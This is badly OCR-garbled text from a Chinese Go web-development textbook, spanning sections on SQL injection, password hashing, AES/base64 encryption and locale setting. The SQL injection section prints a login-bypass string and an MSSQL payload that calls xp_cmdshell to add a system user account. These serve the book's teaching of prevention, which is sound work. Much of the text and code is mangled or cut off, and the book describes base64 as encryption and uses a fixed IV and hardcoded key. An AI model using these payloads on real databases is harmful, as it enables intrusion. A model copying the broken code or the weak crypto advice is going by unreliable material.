XSS 漏 洞 危害 非常 大 ， 在 开发 Web 应 用 的 时 候 ， 一 定 要 记 住 过 滤 数 
A 特别 是 在 输出 到 客户 端 之 前 ， 这 是 现在 行 之 有 效 的 防止 XSS 的 手 


9.4 避免 SQL 注入 





什么 是 SQL 注入 


SQL 注入 攻击 〈SQL Injection) ， 简 称 注 入 攻击 ， 是 Web 开 发 中 最 
常见 的 一 种 安全 漏洞 。 可 以 用 它 来 从 数据 库 获取 敏感 信息 ， 或 者 利用 数 
据 库 的 特性 执行 添加 用 户 ， 导 出 文件 等 一 系列 恶意 操作 ， 甚 至 有 可 能 获 
取 数 据 库 乃 至 系统 用 户 最 高 权限 。 

而 造成 SQL 注入 的 原因 是 程序 没有 有 效 过 滤 用 户 的 输入 ， 使 攻击 者 
成 功 向 服务 器 提交 恶意 的 SQL 查询 代码 ， 程 序 在 接收 后 错误 地 将 攻击 者 
的 输入 作为 查询 语句 的 一 部 分 执行 ， 导 致 原始 的 查询 逻辑 被 改变 ， 额 外 
执行 了 攻击 者 精心 构造 的 恶意 代码 。 








SQL 注入 实例 


很 多 Web 开 发 者 没有 意识 到 SQL 查询 是 可 以 被 筑 改 的 ， 从 而 把 SQL 
查询 当 作 可 信任 的 命令 。 殊 不 知 ，SQL 查 询 是 可 以 绕 开 访问 控制 ， 从 而 
绕 过 身份 验证 和 权限 检查 的 。 更 有 甚 者 ， 有 可 能 通过 SQL 查询 去 运行 主 
机 系统 级 的 命令 。 

下 面 将 通过 一 些 真实 的 例子 来 详细 讲解 SQL 注入 的 方式 。 

考虑 以 下 简单 的 登录 表单 。 


<form action="/login" method="POST*> 
<p>Username: <input type="text" name="username" /></p> 





二 

<p><input type="submit" value=" 登 陆 " /></p> 

</form> 

处 理 其 中 的 SQL 如 下 所 示 。 

E 

Sql:="SELECT * FROM user WHERE username='"+username+"' AND password='"+ 
passwords" "" ` 

如 果 用 户 的 输入 的 用 户 名 如 下 ， 密 码 任意 。 

得 肥 我 从 的 SQL 变 成 了 姑 下 所 示 。 

SELECT * FROM user WHERE username='myuser' or 'foo'=="foo' --'' AND pass 
word='xxx" 

在 SQL 里 面 -- 是 注释 标记 ， 所 以 查询 语句 会 在 此 中 断 。 这 就 让 攻击 
者 在 不 知道 任何 合法 用 户 名 和 密码 的 情况 下 成 功 登 录 了 。 

MSSQL 还 有 更 加 危险 的 一 种 SQL 注入 ， 就 是 控制 系 
可 怕 的 例子 将 演示 如 何在 某 些 版 本 的 MSSQL 数 据 库 上 执 










下 面 这 个 
系统 命令 。 


sqli="SELECT * FROM products WHERE name LIKE '$"+prodt"s'" 

Db. Exec (sql) 

如 果 攻 击 提交 a9%' exec master..xp_cmdshell ‘net user test testpass 
/ADD' -- 作 为 变量 prod 的 值 ， 那 么 SQL 将 会 显示 如 下 。 

oqli="SBDECT * FROM products WHERE nane LIKE "‘at” exec master. .p_endshel? 
‘net user test testpass /ADD'--&! 

MSSQLI RAITER ZSQLIE I, 包括 它 后 面 那 个 用 于 向 系统 
添加 新 用 户 的 命令 。 如 果 这 个 程序 是 以 sa 运行 而 MSSQLSERVER 服 务 又 
有 足够 的 权限 的 话 ， 攻 击 者 就 可 以 获得 一 个 系统 账号 来 访问 主机 。 


HE: 虽然 以 上 的 例子 是 针对 某 一 特定 的 数据 库 系统 ， 但 是 这 并 不 代 
表 不 能 对 其 他 数据 库 系统 实施 类 似 的 攻击 。 针 对 这 种 安全 漏洞 ， 只 要 使 
用 不 同方 法 ， 各 种 数据 库 都 有 可 能 遭 丙 。 


如 何 预防 SQL 注入 


也 许 你 会 指出 ， 攻 击 者 得 知道 数据 库 结构 的 信息 才能 实施 SQL 注入 
攻击 。 确 实 如 此 ， 但 没 人 能 保证 攻击 者 一 定 拿 不 到 这 些 信息 ， 一 旦 他 们 
拿 到 了 ， 数 据 库 就 存在 漠 串 的 危险 。 如 果 你 用 开放 源 代码 的 软件 包 来 访 
问 数据 库 ， 比 如 论坛 程序 ， 攻 击 者 就 很 容易 得 到 相关 的 代码 。 如 果 这 些 
代码 设计 不 良 的 话 ， 风 险 就 更 大 了 。 目 前 Discuz、phpwind、phpcms 等 
流行 的 开源 程序 都 有 被 SQL 注 入 攻击 的 先例 。 

这 些 攻击 总 是 发 生 在 安全 性 不 高 的 代码 上 。 所 以 ， 永 远 不 要 信任 外 
界 输 入 的 数据 ， 特 别 是 来 自 于 用 户 的 数据 ， 包 括 选择 框 、 表 单 隐藏 域 和 
Cookie。 就 如 上 述 的 第 一 个 例子 ， 就 算是 正常 的 查询 也 有 可 能 造成 灾 


难 。 

SQL 注入 攻击 的 危害 这 么 大 ， 那 么 该 如 何 来 防治 呢 ? 下 面 这 些 建议 
或 许 对 防治 SQL 注入 有 一 定 的 帮助 。 

1. 严格 限制 Web 应 用 的 数据 库 的 操作 权限 ， 给 此 用 户 提供 仅仅 能 
Seer RMI, 从 而 最 大 限度 减少 注入 攻击 对 数据 库 的 危 


” 2， 检查 输入 的 数据 是 否 具有 所 期 望 的 数据 格式 ， 严 格 限制 变量 的 
进行 一 些 匹配 处 理 ， 或 者 使 用 strconv 包 对 字符 


EJT 。 
3. 对 进入 数据 库 的 特殊 字符 ("\ 尖 括号 &*; 等 ) 进 行 转 义 处 理 ， 或 
编码 转换 。Go 语 言 的 text/template 包 里 面 的 HTMLEscapeString 函 数 可 以 
对 字符 串 进行 转 义 处 理 。 



















4. 所 有 的 查询 语句 建议 使 用 数据 库 提供 的 参数 化 查询 接口 ， 参 数 
化 的 语句 使 用 参数 而 不 是 将 用 户 输入 变量 嵌入 到 SQL 语句 中 ， 即 不 要 直 
接 拼接 SQL 语句 。 例 如 使 用 database/sql 里 面 的 查询 函数 Prepare 和 
Query， 或 者 Exec(query string, args ...interface{}). 

5. 在 应 用 发 布 之 前 建议 使 用 专业 的 SQL 注入 检测 工具 进行 检测 ， 
以 及 时 修补 被 发 现 的 SQL 注入 漏洞 。 网 上 有 很 多 这 方面 的 开源 工具 ， 例 
如 sqlmap、SQLninja 等 。 

避免 网 站 打印 出 SQL 错误 信息 ， 比 如 类 型 错误 、 字 段 不 匹配 

等 ， 把 代码 里 的 SQL 语句 暴露 出 来 ， 以 防止 攻击 者 利用 这 些 错误 信息 进 
行 SQL 注入 。 


小 结 


通过 上 面 的 示例 我 们 可 以 知道 ，SQL 注 入 是 危害 相当 大 的 安全 漏 
洞 。 所 以 对 于 我 们 平常 编写 的 Web 应 用 ， 应 该 对 于 每 一 个 小 细节 都 要 非 
常 重视 ， 细 节 决定 命运 ， 生 活 如 此 ， 编 写 Web 应 用 也 是 这 样 。 


9.5 存储 密码 


过 去 一 段 时 间 以 来 ， 许 多 的 网 站 遭遇 用 户 密码 数据 泄露 事件 ， 诸 多 
社区 都 有 可 能 成 为 黑客 下 一 个 目标 。 层 出 不 穷 的 类 似 事件 给 用 户 的 网 上 
生活 造成 巨大 的 影响 ， 人 人 自 危 ， 因 为 人 们 往往 习惯 在 不 同 网 站 使 用 相 
同 的 密码 ， 所 以 一 家 “ 暴 库 "， 全 部 遭 丙 。 

那么 我 们 作为 一 个 Web 应 用 开发 者 ， 在 选择 密码 存储 方案 时 ， 容 易 
掉 入 哪些 陷阱 ， 以 及 如 何 避免 这 些 陷阱 ? 


普通 方案 

目前 用 得 最 多 的 密码 存储 方案 是 将 明文 密码 做 单 向 哈 希 后 存储 ， 单 
向 哈 希 算法 有 一 个 特征 ， 无 法 通过 哈 希 后 的 摘要 (digest〉 恢 复原 始 数 
据 ， 这 也 是 “ 单 向 ”二 字 的 来 源 。 常 用 的 单 向 哈 希 算法 包括 SHA-256、 


SHA-1、MD5 等 
Go 语言 对 这 三 种 加 密 算法 的 实现 如 下 所 示 。 








//import "erypto/sha256" 
h := sha256.New() 
jo.Writestring(h, "His money is twice tainted: ‘taint yours and 'taint 
mine.") 
fmt Print£("% x", h.Sum(nil)) 


/ {import “crypte/shal” 

h := shal.New() 

io.Writestring(h, "His money is twice tainted: ‘taint yours and ‘taint 
mine.") 

fmt.Print£("s x", h.Sum(nil)} 


//import “erypto/mds" 

h := md5.New() 

iteString(h, "需要 加 密 的 密码 ") 
", h,Sum(nil)) 


， 同 一 个 密码 进行 单 向 哈 希 ， 得 到 的 总 是 唯一 确定 的 摘要 。 
计算 速度 快 。 随 着 技术 进步 ， 一 秒 钟 能 够 完成 数 十 亿 次 单 向 哈 


上 面 两 个 特点 ， 考 虑 到 多 数 人 所 使 用 的 密码 为 常见 的 组 合 ， is 
击 者 可 以 将 所 有 密码 的 常见 组 合 进行 单 向 哈 希 ， 得 到 一 个 摘要 组 合 ， 然 
后 与 数据 库 中 的 摘要 进行 比 对 即 可 获得 对 应 的 密码 。 这 个 摘要 组 合 也 被 
称 为 rainbow table。 

因此 通过 单 向 加 密 之 后 存储 的 数据 ， 和 明文 存储 没有 多 大 区 别 。 因 
此 ， 一旦 网 站 的 数据 库 泄露 ， 所 有 用 户 的 密码 就 大 白 于 天 下 。 






















阶 方案 


通过 上 面 介绍 我 们 知道 黑客 可 以 用 rainbow table 来 破解 哈 希 后 的 密 
码 ， 很 大 程度 上 是 因为 加 密 时 使 用 的 哈 希 算法 是 公开 的 。 如 果 黑 客 不 知 
道 加 密 的 哈 希 算法 是 什么 ， 那 他 也 就 无 从 下 手 了 。 

一 个 直接 的 解决 办 法 是 ， 自 己 设计 一 个 哈 希 算法 。 然 而 ， 一 个 好 的 
哈 希 算法 是 很 难 设计 的 一 一 既 要 避免 碰撞 ， 又 不 能 有 明显 的 规律 ， 做 到 
这 两 点 要 比 想象 中 的 要 困难 很 多 。 因 此 实际 应 用 中 更 多 的 是 利用 已 有 的 
哈 希 算法 进行 多 次 哈 希 。 

但 是 单纯 的 多 次 哈 希 ， 依 然 阻挡 不 住 黑 客 。 两 次 MD5、 三 次 MD5 
之 类 的 方法 ， 我 们 能 想到 ， 黑 客 自然 也 能 想到 。 特 别 是 对 于 一 些 开源 代 
码 ， 这 样 哈 希 更 是 相当 于 直接 把 算法 告诉 了 黑客 。 

没有 攻 不 破 的 盾 ， 但 也 没有 折 不 断 的 巴 。 现 在 安全 性 比较 好 的 网 

















站 ， 都 会 用 一 种 叫做 “加 盐 ” 的 方式 来 存储 密码 ， 也 就 是 常 说 的 “salt"。 他 
们 通常 的 做 法 是 ， 先 将 用 户 输入 的 密码 进行 一 次 MD5 《或 其 他 哈 希 算 
法 ) 加 密 ， 将 得 到 的 MD5 值 前 后 加 上 一 些 只 有 管理 员 自 己 知道 的 随机 
串 ， 再 进行 一 次 MD5 加 密 。 这 个 随机 串 中 可 以 包括 某 些 固定 的 串 ， 也 可 
以 包括 用 户 名 〈 用 来 保证 每 个 用 户 加 密使 用 的 密 钥 都 不 一 样 ) 。 
import "crypto/md5" 

(AEB Hake ae 

h := md5.New() 

io.Nritestring (h，" 和 需要 加 密 的 密码 ") 


//pwmd5 等 于 el0adc3949ba59abbe56e057f20f883e 
pwmd5 :=fmt .Sprintf ("x", h.Sum(ni1)) 


7/ 指 定 两 个 salt: saltl = B#$% salt2 = *s*() 
saltl epsa" 
salt2 Tana 








7/salt1+ 用 户 名 +salt2+MD5 拼接 
io.WriteString(h, salt1) 
io.WriteString(h, "abc") 
io.WriteString(h, salt2) 
io.WriteString(h, pwmd5) 


Pee is ae Co ee oe reer 
串 ， 就 几乎 不 可 能 推算 出 原始 的 密码 了 。 


专家 方案 


上 面 的 进 阶 方案 在 几 年 前 也 许 是 足够 安全 的 方案 ， 因 为 攻击 者 没有 
足够 的 资源 建立 这 么 多 的 rainbow table。 但 是 ， 时 至 今日 ， 因 为 并 行 计 
算 能 力 的 提升 ， 这 种 攻击 已 经 完全 可 行 。 

怎么 解决 这 个 问题 呢 ? 只 要 时 间 与 资源 允许 ， 没 有 破译 不 了 的 密 
码 ， 所 以 采用 如 下 方案 : 故意 增加 密码 计算 所 需 耗费 的 资源 和 时 间 ， 使 
得 任何 人 都 不 可 获得 足够 的 资源 建立 所 需 的 rainbow table。 

这 类 方案 有 一 个 特 去 中 都 有 个 因子 ， 用 于 指明 计算 密码 摘要 
所 需要 的 资源 和 时 间 ， 是 计算 强度 。 计 算 强度 越 大 ， 攻 击 者 建立 
rainbow table 越 困难 ， 以 至 于 不 可 继续 。 

这 里 推荐 scrypt 方 案 ，scrypt 是 由 著名 的 FreeBSD 黑 客 Colin Percival 
为 他 的 备份 服务 Tarsnap 开 发 的 。 

目前 Go 语言 里 面 支持 的 库 http://code.google.com/p/go/source/browse? 










repo=crypto#hg%2Fscrypt 
dk := scrypt..Key([]byte ("some password"), []byte(salt), 16384, 8, 1, 32) 
通过 上 面 的 方法 可 以 获取 唯一 的 相应 密码 值 ， 这 是 目前 为 止 最 难 破 
解 的 。 


心 EF 


看 到 这 里 ， 如 果 你 产生 了 危机 感 ， 那 么 就 行动 起 来 
1. 如 果 你 是 普通 用 户 ， 那 么 我 们 建议 使 用 LastPass 进 行 密码 存储 和 
生成 ， 对 不 同 的 网 站 使 用 不 同 的 密码 。 
Er 如 果 你 是 开发 人 员 ， 那 么 我 们 强烈 建议 你 采用 专家 方案 进行 密 
码 存储 。 


9.6 ”加密 和 解密 数据 

前 面 小 节 介绍 了 如 何 存储 密码 ， 但 是 有 的 时 候 ， 我 们 想 把 一 些 敏感 
数据 加 密 后 存储 起 来 ， 在 将 来 的 某 个 时 候 ， 随 需 将 它们 解密 出 来 ， 此 时 
我 们 应 该 在 选用 对 称 加 密 算 法 来 满足 我 们 的 需求 。 
base64 加 解密 

如 果 Web 应 用 足够 简单 ， 数 据 的 安全 性 没有 那么 严格 的 要 求 ， 那 么 


可 以 采用 一 种 比较 简单 的 加 解密 方法 是 base64， 这 种 方法 实现 起 来 比较 
简单 ，Go 语 言 的 base64 包 已 经 很 好 地 支持 了 此 方法 ， 请 看 下 面 的 例子 。 


package main 


import ( 
"encoding/base64" 
"fmt" 

1 


func base64Encode(src [|byte) []byte { 
return []byte (base64.StdEncoding.EncodeToString (src) ) 
} 


func base64Decode(src []byte] ([]byte, error) { 
return base64.StdEncoding. DecodeString (string (src) ) 
} 


func main() { 
// encode 
hello := "你 好 ， 世 界 ! hello world" 
debyte :~ base64Encode ([]byte (hello) ) 
fmt .Printin(debyte) 
1/ decode 
enbyte, err := base64Decode (debyte) 
if err != nil ( 
fnt .Printin (err.Error()) 
1 


if hello != string(enbyte) { 
fmt .PrintIn ("hello is not equal to enbyte") 
} 


fmt .Println(string{enbyte)) 
} 


高 级 加 解密 


Go 语言 的 crypto 里 面 支持 对 称 加 密 的 高 级 加 解密 包 有 如 下 两 种 。 

© crypto/aes 包 : AES (Advanced Encryption Standard) ， 又 称 
Rijndael 加 密 法 ， 是 美国 联邦 政府 采用 的 一 种 区 块 加 密 标准 。 

e crypto/des 包 : DEA (Data Encryption Algorithm) ， 一 种 对 称 加 
密 算法 ， 是 目前 使 用 最 广泛 的 密 钥 系统 ， 特 别 是 在 保护 金融 数据 的 安全 


中 。 
因为 这 两 种 算法 使 用 方法 类 似 ， 所 以 我 们 在 此 仅 用 aes 包 为 例 来 讲 
解 它们 的 使 用 ， 请 看 下 面 的 例子 。 








package main 


import ( 





rypto/aes" 


"crypto/cipher™ 


heme” 
Epo 


) 


var commonIV = (1b! 
0x0c, Ox0d, Ox0e, OxOf} 


0x09, Dx0a, Ox0b 


func main() 


í 





e{0x00, 0X01, 0x02, 0x03, 0x04, 0X05, 0x06, 0x07, 0x08, 


/7 需要 去 加 密 的 字符 车 


plaintext : 





[Jbyte ("My name is astazi 


77 如 果 传 入 加 密 申 的 语 ，P1aint 就 是 传 入 的 字符 中 
if len(os.Args) > 1 { 


plaintext 


} 





= []byte(os.Argsi1]) 


WYaes 的 加 密 字 符 申 


key text : 


astawie1279Sak142mknm.ahkjk1 





if len(os.args) > 2 { 


key_text 


} 





5 -Args [2] 


fmt .Println (len (key text)) 


/77 创建 加 密 算法 aes 


c, err 
if err ! 





aes .NewCipher ( []byte (key_text)) 
nil { 


fmt.Printf ("Error: NewCipher(%d bytes) = %3", len(key text), err) 
og.Exit(-1) 


} 


/7 加 密 字 符 串 


cfb := cipher.NewcFBEncrypter(c, commoniv) 


ciphertext : 





make([]byte, len(plaintext)) 


cfb.XORKeyStream(ciphertext, plaintext) 
fmt. printf ("zs=>ex\n", plaintext, ciphertext) 


/77 解密 字符 出 


cfbaec := 


cipher.NewCFBDecrypter(c, commo: 
plaintextcopy 


v) 
make([]byte, len (plaintext) }) 








cfbdec.XORKeyStream (plaintextCopy, ciphertext) 


fmt. Printf ("sx 


} 
上 面 通过 调用 函数 aes.NewCipher (参数 key 必 须 是 16、24 或 者 32 





šs\n", ciphertext, plaintextCopy) 





的 [Jbyte， 分 别 对 应 AES-128，AES-192 或 AES-256 算 法 ) ， 返 回 了 一 个 


cipher.Block 接 口 ， 这 个 接口 实现 了 三 个 功能 。 
type Block interface { 
// BlockSize returns the cipher's block size. 
BlockSize() int 


// Encrypt encrypts the first block in sre into dst. 
// Dst and src may point at the same memory. 
Encrypt (dst, sre []byte) 


// Decrypt decrypts the first block in sre into dst. 
// Dst and src may point at the same memory 
Decrypt (dst, sre []byte) 

} 


小 结 


本 节 介绍 了 几 种 加 解密 的 算法 ， 在 开发 Web 应 用 的 时 候 可 以 根据 需 
求 采用 不 同 的 方式 进行 加 解密 ， 一 般 的 应 用 可 以 采用 base64 算 法 ， 更 加 
高 级 的 话 可 以 采用 aes 或 者 des 算 法 。 


9.7 总 结 


本 章 主要 介绍 了 如 : CSRF 攻 击 、XSS 攻 击 、SQL 注 入 攻击 等 一 些 

Web 应 用 中 典型 的 攻击 手法 ， 它 们 都 是 由 于 应 用 对 用 户 的 输入 没有 很 好 
过 滤 引 起 的 ， 所 以 除了 介绍 攻击 的 方法 外 ， 我 们 也 介绍 了 如 何 有 效 地 

进行 数据 过 滤 ， 以 防止 这 些 攻击 的 发 生 的 方法 。 然 后 针对 日 异 严重 的 密 
码 泄漏 ， 介 绍 了 在 设计 Web 应 用 中 可 采用 的 从 基本 到 专家 的 加 密 方 
案 。 最 后 针对 敏感 数据 的 加 解密 简要 介绍 了 Go 语言 提供 三 种 对 称 加 密 
算法 : base64、aes 和 des 的 实现 。 

通过 本 章 介绍 ， 和 希望 读者 能 够 加 强 安全 意识 ， 编 写 Web 应 用 时 多 留 
心 ， 以 使 我 们 编写 的 Web 应 用 能 远离 黑客 们 的 攻击 。Go 语 言 在 支持 防 攻 
击 方面 已 经 提供 大 量 的 工具 包 ， 我 们 可 以 充分 的 利用 这 些 包 来 做 出 一 个 
安全 的 Web 应 用 。 














第 10 章 ”国际 化 和 本 地 化 


为 了 适应 经 济 的 全 球 一 体 化 ， 作 为 开发 者 ， 我 们 需要 开发 出 支持 多 
国语 言 、 国 际 化 的 Web 应 用 ， 即 同样 的 页 面 在 不 同 的 语言 环境 下 需要 显 
示 不 同 的 效果 ， 也 就 是 说 应 用 程序 在 运行 时 能 够 根据 请 求 所 来 自 的 地 域 
与 语言 的 不 同 而 显示 不 同 的 用 户 界面 。 这 样 ， 当 需要 在 应 用 程序 中 添加 
对 新 的 语言 的 支持 时 ， 无 需 修改 应 用 程序 的 代码 ， 只 需要 增加 语言 包 即 
可 实现 。 

际 化 与 本 地 化 Internationalization and localization， 通 常用 il8n 
和 LI10N 表 示 ) ， 国 际 化 是 将 针对 某 个 地 区 设计 的 程序 进行 重 构 ， 以 使 
它 能 够 在 更 多 地 区 使 用 ， 本 地 化 是 指 在 一 个 面向 国际 化 的 程序 中 增加 对 
新 地 区 的 支持 。 

目前 ，Go 语 言 的 标准 包 没 有 提供 对 il8n 的 支持 ， 但 有 一 些 比较 简单 
的 第 三 方 实现 ， 这 一 章 我 们 将 实现 一 个 go-il8n 库 ， 用 来 支持 Go 语言 的 
i18n. 

所 谓 的 国际 化 ， 就 是 根据 特定 的 locale 信 息 ， 提 取 与 之 相应 的 字符 
串 或 其 他 一 些 东西 〈 比 如 时 间 和 货币 的 格式 ) 等 等 。 这 涉及 三 个 问题 ; 

1. 如 何 确定 locale。 

2. 如何 保存 与 locale 相 关 的 字符 串 或 其 他 信 4 

3. 如 何 根据 locale 提 取 字 符 串 和 其 他 相应 的 信息 。 

在 第 10.1 节 里 ， 我 们 将 介绍 如 何 设 置 正 确 的 locale 以 便 让 访问 站 点 的 
用 户 能 够 获得 与 其 语言 相应 的 页 面 。 第 10.2 节 将 介绍 如 何 处 理 或 存储 字 
符 串 、 货 币 、 时 间 日 期 等 与 locale 相 关 的 信息 ， 第 10.3 节 将 介绍 如 何 实现 
国际 化 站 点 ， 即 如 何 根据 不 同 locale 返 回 不 同 合适 的 内 容 。 通 过 这 三 节 
的 学 习 ， 我 们 将 获得 一 个 完整 的 i18n 方 案 。 


10.1 设置 默认 地 























区 


什么 是 Locale 


Locale 是 一 组 描述 世界 上 某 一 特定 区 域 文本 格式 和 语言 习惯 的 设置 
的 集合 。locale 名 通常 由 三 个 部 分 组 成 ， 第 一 部 分 ， 是 一 个 强制 性 的 ， 


表示 语言 的 缩写 ， 例 如 en" 表示 英文 或 “zh 表示 中 文 。 第 二 部 分 ， 跟 在 
一 个 下 划 线 之 后 ， 是 一 个 可 选 说 明 符 ， 用 于 区 分 讲 同一 种 语言 的 
， 例 如 “en_US” 表 示 美 国 英 语 ， 而 “en_UK” 表 示 英 国 英 语 。 最 
分 ， 跟 在 一 个 句点 之 后 ， 是 可 选 的 字符 集 说 明 符 ， 例 

表示 中 国 使 用 gb2312 字 符 集 。 

用 “UTF-8” 编 码 集 ， 所 以 我 们 实现 i18n 时 不 考虑 第 三 
FE Se SATA Filocaleses a NY 
locale « 


注 : 在 Linux 和 Solaris 系 统 中 可 以 通过 locale -a 命令 列举 所 有 支持 的 
地 区 名 ， 读 者 可 以 看 到 这 些 地 区 名 的 命名 规范 。 对 于 BSD 等 系统 ， 没 有 
locale 命 令 ， 但 是 地 区 信息 存储 在 /usr/share/locale 中 。 













设置 Locale 





有 了 上 面 对 Locale 的 定义 ， 那 么 我 们 就 需要 根据 用 户 的 信息 《访问 
信息 、 个 人 信息 、 访 问 域名 等 ) 来 设置 与 之 相关 的 Locale， 我 们 可 以 通 
过 如 下 几 种 方式 来 设置 用 户 的 Locale。 

通过 域名 设置 Locale 

ed a a ore a 
式 ， 例 如 ， 我 们 采用 www.asta.com 当 做 我 们 的 英文 站 默认 站 ) ， 而 把 
域名 www.asta.cn 当 做 中 文 站 。 这 样 通过 在 应 用 里 面 设置 域名 和 相应 的 
Locale 的 对 应 关系 ， 就 可 以 设置 好 地 区 。 这 样 处 理 有 几 点 好 处 。 

o 通过 URL 就 可 以 明显 识别 。 

o 用 户 通 过 域名 可 以 很 直观 地 知道 将 访问 哪 种 语言 的 站 点 。 













。 在 Go 程序 中 实现 非常 简单 方便 ， 通 过 一 个 map 就 可 以 实现 。 
© 有 利于 搜索 引擎 抓 取 ， 能 够 提高 站 点 的 SEO。 
我 们 可 以 通过 下 面 的 代码 来 实现 域名 的 对 应 Locale。 


if r.Host == "ww.asta.com" [ 
i18n.SetLocale ("en") 

} else if r.Host == "ww.asta.cn” { 
ilén, SetLocale ("zh-CN") 

} else if r.Host == "ww.asta.tw" { 
il8n.Setlocale ("zh-TW") 


除了 整 域名 设置 地 区 之 外 ， 我 们 还 可 以 通过 子 域名 来 设置 地 区 ， 例 
如 “en.asta.com” 表 示 英 文 站 点 ，“cn.asta.com” 表 示 中 文 站 点 。 实 现代 码 
如 下 所 示 。 





prefix := strings.Split(r.Host,".*) 


if prefix[0] == "en" { 
il6n.Setbocale("en") 





} else if prefix[0] 
i18n.SetLocale("z! 


} 

通过 域名 设置 Locale 有 如 上 所 示 的 优点 ， 但 是 我 们 一 般 开发 Web 应 
9 时 候 不 会 采用 这 种 方式 ， 首 先 ， 域 名 成 本 比较 高 ， 开 发 一 个 Locale 
一 个 域名 ， 而 且 往往 统一 名 称 的 域名 不 一 定 能 申请 的 到 ， 其 次 ， 
为 每 个 站 点 去 本 地 化 一 个 配置 ， 而 更 多 的 是 采用 un 后 面 带 参 
Pues 请 看 下 面 的 介绍 。 

从 域名 参数 设置 Locale 

目前 最 常用 的 设置 Locale 的 方式 是 在 URL 里 面 带 上 参数 ， 例 如 
www.asta.com/ hello?locale=zh 或 者 www.asta.com/zh/hello。 这 样 我 们 就 
可 以 设置 地 区 : il8n.SetLocale(params["locale"])。 

Sot ero: 乎 拥有 前 文 介绍 的 通过 域名 设置 Locale 的 所 有 优 

点 ， 它 采用 RESTful 的 方式 ， 使 得 我 们 不 需要 增加 额外 的 方法 来 处 理 。 
但 是 这 种 方式 需要 在 每 个 的 link 里 面 增加 相应 的 参数 Locale， 这 也 许 
有 点 复杂 而 且 有 时 候 甚至 非常 繁琐 。 不 过 我 们 可 以 写 一 个 通用 的 函数 
url， 让 所 有 的 link 地 址 都 通过 这 个 函数 来 生成 ， 然 后 在 这 个 函数 里 面 增 
加 locale=params["locale"] 参 数 来 缓解 一 下 。 

也 许 我 们 希望 URL 地 址 看 上 去 更 加 的 RESTful 一 点 ， 例 如 : 
www.asta.com/en/books (38303 Ai) 和 www.asta.com/zh/books〈 中 文 站 
点 ) ， 这 种 方式 的 URL 更 加 有 利于 SEO， 而 且 对 于 用 户 也 比较 友好 ， 能 
够 通过 URL 直 观 的 知道 访问 的 站 点 。 那 么 这 样 的 URL 地 址 可 以 通过 
router 来 获取 Locale (参考 第 8.3 节 介绍 的 router 插 件 实现 ) 。 

mox.Get ("/:locale/books", listbook) 

从 客户 端 设置 地 区 

的 情况 下 ， PORTEE ENN 息 而 不 是 通过 URL 
| 览 器 中 
。 这 种 























设置 ) ， 用 户 的 IP 地 址 ， 用 户 在 注册 的 时 候 填写 3 的 所 在 地 
方式 比较 适合 Web 为 基础 的 应 用 。 

e Accept-Language 

客户 端 请 求 的 时 候 在 HTTP 头 信息 里 面 有 Accept-Language， 一 般 的 
客户 端 都 会 设置 该 信息 ， 下 面 是 Go 语言 实现 的 一 个 简单 的 根据 Accept- 
Language 实 现 设 置地 区 的 代码 。 







} else if AL 
ign. seth 
} else if AL 
ii8n .setLoca 


1 

eee a 可 能 需要 更 加 严格 的 判断 来 进行 设置 地 区 

e IP: 

另 一 种 根据 客户 端 来 设 定 地 区 的 方法 就 是 用 户 访问 的 P， 我 们 根据 
JP 库 ， 对 应 相应 的 地 区 ， 目 前 全 球 比较 常用 的 就 是 GeolP Lite Country 这 
个 库 。 这 种 设置 地 区 的 机 制 非常 简单 ， 我 们 只 需要 根据 了 数据 库 查 询 用 
户 的 IP 然 后 返回 国家 地 区 ， 根 据 返回 的 结果 设置 对 应 的 地 区 。 

o ”用 户 profile 

当然 你 也 可 以 让 用 户 根据 你 提供 的 下 拉 菜单 或 者 其 他 方式 设置 相应 
的 locale， 然 后 将 用 户 输入 的 信息 ， 保 存 到 与 它 账号 相关 的 profile 中 ， 当 
用 户 再 次 登录 的 时 候 把 这 个 设置 复写 到 Locale 设 置 中 ， 这 样 就 可 以 保证 
该 用 户 每 次 访问 都 是 基于 自己 先前 设置 的 Locale 来 获得 页 面 。 








小 结 


通过 上 面 的 介绍 可 知 ， 有 很 多 种 方式 设置 Locale， 我 们 应 该 根据 需 
求 的 不 同 来 选择 不 同 的 设置 Locale 的 方法 ， 以 让 用 户 能 以 它 最 熟悉 的 方 
式 ， 获 得 我 们 提供 的 服务 ， 提 高 应 用 的 用 户 友好 性 。 


10.2 本 地 化 资源 


我 们 在 前 文 介绍 了 如 何 设置 Locale， 设 置 好 Locale 之 后 我 们 需要 解 
决 的 问题 就 是 如 何 存储 相应 的 Locale 对 应 的 信 信息 包括 ; 
文本 信息 、 TE gene TA 包含 那么 
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本 地 化 文本 信息 





文本 信息 在 编写 Web 应 用 中 最 常用 到 ， 也 是 本 地 化 资源 中 最 多 的 信 
息 ， 想 要 以 适合 本 地 语言 的 方式 来 显示 文本 信息 ， 可 建立 所 需 语言 相应 
的 map 来 维护 一 个 key-value 的 关系 ， 在 输出 之 前 按 需 从 适合 的 map 中 去 
获取 相应 的 文本 ， 如 下 是 一 个 简单 的 示例 。 


Package main 








import "fmt" 
var locales map[string]map|string] string 


func maino ( 
locales = make(map[string]map[string] string, 2) 
en := make(map{string]string, 10) 
en["pea"] 
enl"bean"] 
locales["en") = en 
cn["pea" 
cn["bean 
lecalesf 
lang := * 
fmt.Printin(msg(lang, "pea")) 
fmt .Println(msg(lang, "bean")) 

} 








func msg(locale, key string) string { 
if v, ok := locales[locale]; ok { 
if v2, ok := vikey]; ok ( 
return v2 
} 
上 


return mn 


} 

上 面 示例 演示 了 不 同 Locale 的 文本 翻译 ， 实 现 了 中 文 和 英文 对 于 同 
一 个 key 显 示 不 同 语言 的 实现 ， 上 面 实现 了 中 文 的 文本 消息 ， 如 果 想 切 
换 到 英文 版 本 ， 只 需要 把 lang 设 置 为 en 即 可 。 

有 些 时 候 仅 是 key-value 蔡 换 是 不 能 满足 需要 的 ， 例 如 “Iam 30 years 
old”， 中 文 表达 是 “我 今年 30 岁 了 ”而 此 处 的 30 是 一 个 变量 ， 该 怎么 办 
呢 ? 这 个 时 候 ， 我 们 可 以 结合 fmt.Printf 函 数 来 实现 ， 请 看 下 面 的 代码 。 

en["how oldn] ~"I am $d years ola” 

ri soe Raia BT" 


fmt.Printf (ms: ang, “how old"), 30: 
ERMER BOKIR, MKRN 
JSON 里 面 的 ， 所 以 我 们 可 以 通过 json.Unmarshal 来 为 相应 的 map 填 充 数 





据 。 
本 地 化 日 期 和 时 间 


因为 时 区 的 关系 ， 同 一 时 刻 ， 在 不 同 的 地 区 ， 表 示 是 不 一 样 的 ， 而 
且 因为 Locale 的 关系 ， DRUKARNIE 例如 中 文 环境 下 可 能 显 
